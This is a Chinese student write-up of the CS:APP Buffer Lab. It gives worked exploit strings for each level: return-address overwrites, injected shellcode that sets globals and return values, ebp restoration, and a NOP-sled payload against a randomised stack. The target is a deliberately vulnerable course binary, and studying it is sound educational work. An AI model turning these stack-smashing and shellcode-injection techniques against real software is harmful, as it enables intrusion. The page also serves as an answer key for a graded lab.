这个Lab训练了进行缓冲区溢出攻击的能力。这个Lab有点像Bomb Lab,但你每次运行所进入的level和你输入的数据有关,虽是渐进关系但可以单独挑战,并不是Bomb Lab闯关的形式。
使用的是32位实验文件,运行在Ubuntu 22.04 LTS系统上。实验文件因人而异,下述方法通用,但具体数值是不能通用的。
个人感觉这个Lab前四个Level比前面的Data Lab和Bomb Lab更简单,在英语水平尚可的情况下,更建议不参考他人文章,直接尝试阅读Writeup做题。 如果你还没有Writeup,可以在 这里 下载。
前期准备
buflab-writeup.pdf包含了很多本实验的前置知识,以及每个Level的指引,请务必仔细阅读。简要挑几个说一下:
- 虽然是32位文件,但64位系统也可以运行。
- 每次运行Buffer Bomb,都要带
-u <username>
参数。这个参数会生成对应的Cookie,进而用于生成不同的答案。也可以使用makecookie程序只生成cookie。此处均以用户名为cyp0633为例。 - 如果(其实是一定)需要输入非标准ASCII字符,可以使用hex2raw,将十六进制ASCII码转换为对应的ASCII字符。这相当于一个答案的预处理器,将你输入的十六进制文本转换为程序能读取的raw二进制格式。
hex2raw的输入部分由两位十六进制码(不含前面的0x)和分隔符(空格或换行)组成。支持C语言风格注释/* ... */
格式(前后需要空格)。换行是一道题中多次输入答案的分隔符,而这个换行只由0a表示,不由文本中的换行表示。所以你会看到Level 4我敲了那么多行,但实际上只是五次中的一次输入的内容,也就是被bufbomb识别为一行,原本的那些换行符全部被忽略了。
如果希望更方便快捷地将输入导入bufbomb,可以使用Shell的IO重定向和pipe功能,如在将某关答案文件命名为exploit.txt的情况下:
unix> cat exploit.txt | ./hex2raw | ./bufbomb -u username
如果需要使用GDB,可以先将ASCII转换为raw text,然后再使用pipe设置参数,自动导入GDB:
unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> gdb bufbomb
(gdb) set args -u username < exploit-raw.txt
(gdb) run
更概括地说,你需要编写的答案形式是使用分隔符分隔的十六进制数组成的文本文档,也就是下面我提供的答案形式;但这样的程序是无法被bufbomb识别的,所以需要使用hex2raw将其转化成raw text。它的内容与你写出的答案只有细微差别,但或许不能被普通文本编辑器打开。使用上面提到的IO重定向功能将其输入bufbomb,就可以让程序处理你的答案了。上述提到的第一种方法,是将本段提到的几个步骤合起来执行;而第二种方法就是将步骤拆开执行,以适应GDB。
贴一张CSAPP 2e的栈帧示意图,熟记此图,会很有帮助。也不要忘了,栈向地址减小的方向增长(即栈顶地址小),而代码向高地址方向执行,字符串也向高地址方向存储(首位是地址最低的)。
请提前制备bufbomb的objdump反汇编文件。
下面使用的GDB含有pwndbg插件,可以提高GDB调试的效率。
参考文献
Level 0: Candle
Level 0的任务是,在调用getbuf()
后,不返回到test()
,而进入smoke()
函数。很显然,这是让我们修改返回地址。
08049262 <getbuf>:K
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
阅读getbuf
的汇编代码,可以发现Gets中获取的字符串会被存放在ebp-0x28的位置,而我们需要修改的地方就是ebp+4处的返回地址。因为getbuf
并不会检查栈的边界,所以我们可以直接输入长于预期的字符串,把返回地址覆盖掉。再查看smoke
节的首地址为0x8048e0a,可以得出输入内容前(0x28+4)字节可以为任意不为0a(回车)的内容,然后接上0a 8e 04 08(注意小端序)。附上本题栈帧图。
注意:本文中的栈帧都是倒过来的(相比其他博客和CSAPP原书)。
然而发现首地址中含有0a,会被错误转义成回车。我们可以跳过第一个语句,因为这并不影响跳转到验证的步骤,毕竟我们并不需要完整的栈帧就可以直接检验。最后答案为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
最后一个答案的结尾不需要特意添加0a,hex2raw会自动在结尾添加一个。成功后提示“Type string:Smoke !:You called smoke() VALID NICE JOB!”。
Level 1: Sparkler
这个Level和Level 0有一定相似度,目标都是阻止getbuf
返回到test
,但这次需要跳转到fizz
,还需要将Cookie作为参数传入。
注意到advice:程序并不会真的调用fizz
,而只是运行它的代码。这意味着不会有栈帧切换,也就决定了参数的放置位置。
查看反汇编代码,发现fizz
的首地址为0x08048daf,它就是我们需要的返回地址。像上题一样,前44个字节填入任意字符,然后45~48字节填入返回地址。但是,Cookie填到哪里呢?这需要我们看fizz
的汇编代码。
08048daf <fizz>:
8048daf: 55 push %ebp
8048db0: 89 e5 mov %esp,%ebp
8048db2: 83 ec 18 sub $0x18,%esp
8048db5: 8b 45 08 mov 0x8(%ebp),%eax
8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
这是栈帧示意图。
这是它的前面一部分,0x8048db5处显示,参数处于ebp+8的位置。比对writeup文档的函数原型,这就是它的唯一一个参数,也就是Cookie。刚刚填入返回地址之后,已经修改了ebp+4~ebp+7的内容,那么ebp+8~ebp+7可以填入任意内容,再往ebp+8处填入你的Cookie(仍然注意端序)。最终答案如下:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
/* fizz address: 0x08048daf */
00 00 00 00
3c 3d 31 1b
/* cookie: 0x1b313d3c */
成功解除后,会提示“Type string:Fizz !: You called fizz(0x1b313d3c) VALID NICE JOB!”。
Level 2: Firecracker
有一种更加复杂的缓冲区攻击,涉及到输入编码了机器指令的字符串。这个字符串会用堆栈上指令的起始地址覆盖返回地址,当函数执行
Writeup(经本人翻译)ret
时,程序会开始执行栈上的指令(会先跳转过去),而不是返回(到原本的地址)。这种形式的攻击可以让程序几乎能做任何事情。你放置在栈上的代码叫做漏洞利用代码。但是,这种攻击方式是很棘手的,因为你必须把机器码放到栈上,还得把返回地址指向代码段头部。
不愧是Writeup,题面放第二段去了,而第一段上来就把思路和主要困难说明白了。
这道题要求我们将bang
函数中一个名为global_value
的变量设为cookie,然后跳转到bang
中执行。这看起来就是个全局变量,看一眼汇编代码,很容易搞到global_value
的地址0x804d10c,bang
的首地址是0x8048d52,如果想确认也可以用GDB打一下。
有了上面的思路,大体的就明白了:将return address替换为输入的字符串中指令的开始地址,然后让其将Cookie MOV到global_value的地址中,再然后跳转到bang的首地址中。但是,writeup最后还给了我们一些提示:
- 可以先写汇编,用GCC编译,然后再反汇编,来得到指令对应的机器码。
- 字符串与机器、编译器,以及Cookie相关。可能在提醒我们64位机器编译时要加
-m32
。 - 注意汇编的寻址模式。主要是立即数(带$)和地址的区别。
- 最重要的,不要使用
jmp
或call
这两种程序计数器相关的指令进入bang
,应该将bang
首地址入栈,然后使用ret
。
附上栈帧结构:
有了这些,我们就可以开始写汇编代码了,很简单的三行(注意扩展名.s):
// firecracker.s
movl $0x1b313d3c, 0x804d10c // write cookie into global_value
pushl $0x8048d52 // push bang into stack
ret // enter bang
然后使用命令
unix> gcc -m32 -c firecracker.s
unix> objdump -d firecracker.o > firecracker_disasm.txt
就可以得到指令的十六进制表示了。
接下来需要得到指令的起始地址,如果直接将指令放进漏洞利用字符串的开头的话,那它就是字符串的首地址。分析getbuf
的反汇编代码得,它位于ebp-0x28,那么直接在内部任一点打一个断点,然后打出ebp 即可计算出起始地址0x55683cc8。
我们需要的字符串仍然是和前两个Level有些相似的,都是45-48字节放置返回地址,但前几个字节需要放置指令了。最终的字符串如下所示:
c7 05 0c d1 04 08 3c /* movl $0x1b313d3c,0x804d10c */
3d 31 1b
68 52 8d 04 08 /* push $0x8048d52 */
c3 /* ret */
/* end of assembly, 16 bytes in total */
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00 /* 7*4=28 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */
当然,这样就通过了。
Level 3: Dynamite
我们之前的攻击都让程序跳转到其他函数的代码,然后程序就会退出。所以,我们可以使用会破坏栈结构的漏洞利用代码,从而覆盖保存的数值。
最复杂的缓冲区溢出攻击让程序执行一些改变寄存器/内存内容的代码,但程序会返回到本来的调用者函数。调用者对攻击一无所知。但这种攻击也很复杂,因为你需要:1)把机器码放到栈上,2)把返回地址设置到这段代码开头,3)恢复被破坏的栈结构。
Writeup(经本人翻译)
这个Level比上个Level难一些,但如果GDB用得比较好,可以通过调试来窥探题目的奥秘。题目的任务就是把返回值修改为Cookie,但还要让getbuf
正常返回到test
。成功后会输出一个Boom。
其实程序的部分跟Level 2没有太大的区别,将Cookie写入eax(存放返回值)、将test
返回地址入栈,然后返回。返回地址可以翻汇编代码,就是调用语句的下一句。汇编代码如下:
movl $0x1b313d3c, %eax # set cookie as return value
push $0x08048e50 # original test return address
ret # return to test
我们可以先不恢复栈结构,直接跳回去,看看会发生什么。依照上题的方法,得出输入文件:
b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 /* 11*3=33 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */
将其通过hex2raw转换,然后输入bufbomb。既然知道会崩掉,那就在0x8048e50打个断点,运行一下。
发现ebp变成了0,esp的值也不怎么对劲。查阅栈帧结构图,发现旧ebp会在getbuf中被压栈到新的ebp处,它在我们输入的数据中对应的是41~44字节。本题的重点就在于恢复旧ebp。
使用GDB在getbuf中打断点停止,然后执行x/wx $ebp
,可以读取到它的值0x55683d20。
依此修改输入文件:
b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 /* 11*3-4=29 random bytes */
20 3d 68 55 /* old ebp 0x55683d20 */
c8 3c 68 55 /* return address 0x55683cc8 */
不出意外地通过了。
你可能有这样的疑问:答案能不能再长些?很容易能想到,如果输入覆盖的范围超过了返回地址,就可能会侵入上一个栈帧的空间而破坏其内容,所以答案可不可以再长些,取决于上一个栈帧的结构能不能被破坏。对于前三个Level,这种行为理论上是可以接受的;而对于Level 3&4,上一栈帧的结构需要完整保持,所以答案不能再长了。
Level 4: Nitroglycerin
前面几个level差不多就是热身水平,到了这里才是对栈帧结构和程序调试技术的一个综合考察。本level需要使用-n
参数运行bufbomb。
每一次运行,尤其是由不同的用户运行,某个过程使用的确切栈空间会有所不同。一个原因是,每次运行时,所有环境变量的值都会被放在栈的底部。环境变量以字符串的形式存储,占用的空间根据值的不同而不同。所以,对某个用户来说,分配的栈空间由用户设置的环境变量有关。在使用GDB运行程序时,栈的位置也会不同,因为GDB使用栈空间来存储它的一些状态。
在调用
getbuf
的代码中,我们使用了一些稳定栈位置的特性,所以每次运行的时候getbuf
的栈帧都不会变。这样你就可以在已知buf
的起始地址的情况下,写出漏洞利用字符串。如果你在一个普通程序中尝试使用这种方法,你会发现它有时候管用,有时候又会引发段错误。所以我们起了“火药”(dynamite,Level 3代号)这个名字——一种诺贝尔研制的炸药,含有稳定元素,以防意外爆炸。这次我们反着来,让栈的位置比原先还要不稳定。所以它有了“硝酸甘油”这个名字——一种十分不稳定的炸药。
Writeup(经本人翻译)
这个Level的核心目标和Level 3差不多,都是把返回值设为Cookie。只不过,这次要调用5次getbufn
,相应的把答案也重复5次,缓冲区长度变成了512字节(虽然我们肯定要输得比这个长,毕竟要改变“不该改变的”区域),而getbufn
的栈地址变动可能高达240字节。每次都必须稳定地返回Cookie到testn
函数。
考虑到跳转地址是固定的,而栈的位置变动却很大,如果每次根据固定的地址跳跃,如果没有正好跳转到我们注入的代码开头,就可能造成不可预料的结果。所以如何保证在落点的相对位置变动很大的情况下,最后还是能稳定地执行注入代码,就成为了本题最重要的部分。
提示:
- 在hex2raw后面加
-n
参数可以将答案复制n份输出。即使不用,5份答案也必须相同。 - 善用
nop
指令能够帮助解题。可以阅读CSAPP 2e P262(中文版P180中部)的“nop sled”部分。
所谓的nop sled,简单来说,就是通过在代码中添加一大堆nop
指令,不管绝对地址跳到哪个位置,也不会执行什么奇怪的操作,而是最终都要一个一个执行nop
,直到真正的漏洞利用代码的位置。
整体结构
有了这个认识,我们就能基本推断出输入字符串的结构:对应原返回地址处是新返回地址,它紧接着真正有用的注入代码之后,前面剩下的空间,就全都用nop
填充。随手画一张图,展示注入过代码的getbufn
每次执行时跳转的过程,或许能帮助你明白:
图中不同位置的条代表每次执行位置不同的getbufn
,ret
指令从每次不同的逻辑地址取出返回地址,但每次都跳转到固定的跳转地址。如果这个区域内都是nop
,那么跳转之后就相当于“落下来”,在运行注入代码之前什么都没干。
接下来将会根据输入字符串的结构,分别解释得出的方法。
核心代码
首先我们要解决的是恢复testn
的栈结构,也就是原ebp。看一眼testn
的汇编代码。
08048cce <testn>:
8048cce: 55 push %ebp
8048ccf: 89 e5 mov %esp,%ebp
8048cd1: 53 push %ebx
8048cd2: 83 ec 24 sub $0x24,%esp
因为中间将ebx暂存,esp又减了4,所以原ebp在esp+0x28处。我们使用一个lea
指令将其恢复。
leal 0x28(%esp), %ebp # restore ebp register
然后是本题的核心目标,让getbufn
返回Cookie,就是把eax设为Cookie。这个和之前没什么区别。
movl $0x1b313d3c, %eax # set cookie as return value
最后就是将返回地址入栈,然后返回,跟Level 3同理。
push $0x8048ce2 # original testn return address
ret
完整的汇编代码就不放了,反正也没几句。这些语句的顺序并不是自由的,此处将movl
句放到leal
之前,就会导致指令读取错误(将几个nop+一个leal读取成一个addb和一个xorl),进而引发段错误,目前不知道是什么原理。如果有读者知道是什么原因,烦请赐教。
返回地址
因为栈的位置有很大的随机性,而输入内容的nop
部分是有边界的,所以我们需要确定一个大概的跳转地址边界,确保每次都能够跳入nop
范围。我们可以多次使用gdb调试i,在getbufn
处打断点并运行,每次取ebp的值并统计最大值,借此得到buf
数组起始地址大概最大值,也就是跳转地址的大概最大值;由ebp的值又可以取到最小值,估计出nop
区域结束地址的大概最小值,也就是跳转地址的大概最小值。反正缓冲区500多个字节,栈位置的变动最多才240字节,随便在中间选个值就好。
可以结合上面的图来理解:跳转地址的范围是第二个栈帧nop
上界和第三个栈帧exploit上界之间的范围。
08049244 <getbufn>:
8049244: 55 push %ebp
8049245: 89 e5 mov %esp,%ebp
8049247: 81 ec 18 02 00 00 sub $0x218,%esp
804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8049253: 89 04 24 mov %eax,(%esp)
8049256: e8 d7 f9 ff ff call 8048c32 <Gets>
804925b: b8 01 00 00 00 mov $0x1,%eax
8049260: c9 leave
8049261: c3 ret
根据上述getbufn
的反汇编代码,buf
数组的起始地址是ebp-0x208,也就是nop区域的上界。
随意调试运行,得到几个ebp的值为0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0、0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0,其中最小值为0x55683cd0,最大值为0x55683d50。推算出跳转地址最小值大约是0x55683b48,保守起见将返回地址+20,设为0x55683b5c。
Nop Sled
nop
部分+核心代码部分需要将返回地址部分“撑”到ebp+4开始(含)4个字节处,则这两部分加起来的长度为0x208+8=528字节。前面核心代码的二进制表示占据了15字节,所以需要填充509字节nop
(也就是90)。
把这三块连起来,输入的文本数据就很容易得到了(此处建议关闭折行显示,更美观):
/* nop area, 509 bytes in total */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
/* core assembly area, 15 bytes in total */
8d 6c 24 28 /* lea 0x28(%esp),%ebp */
b8 3c 3d 31 1b /* mov $0x1b313d3c,%eax */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3 /* ret */
/* return address 0x55683b5c, 4 bytes in total */
5c 3b 68 55
其他值得注意的事情
上面所说的都是每一次调用getbufn
所输入的内容,而一共要输入五次,可以使用hex2raw
的-n参数指定输出答案的重复次数。hex2raw
会在每次重复的答案最后自动添加换行分隔符0a。
好在经过这一番折腾,Lab 4终于也完成了。
要不是验收需要,我才不会画Level 0-3的栈帧图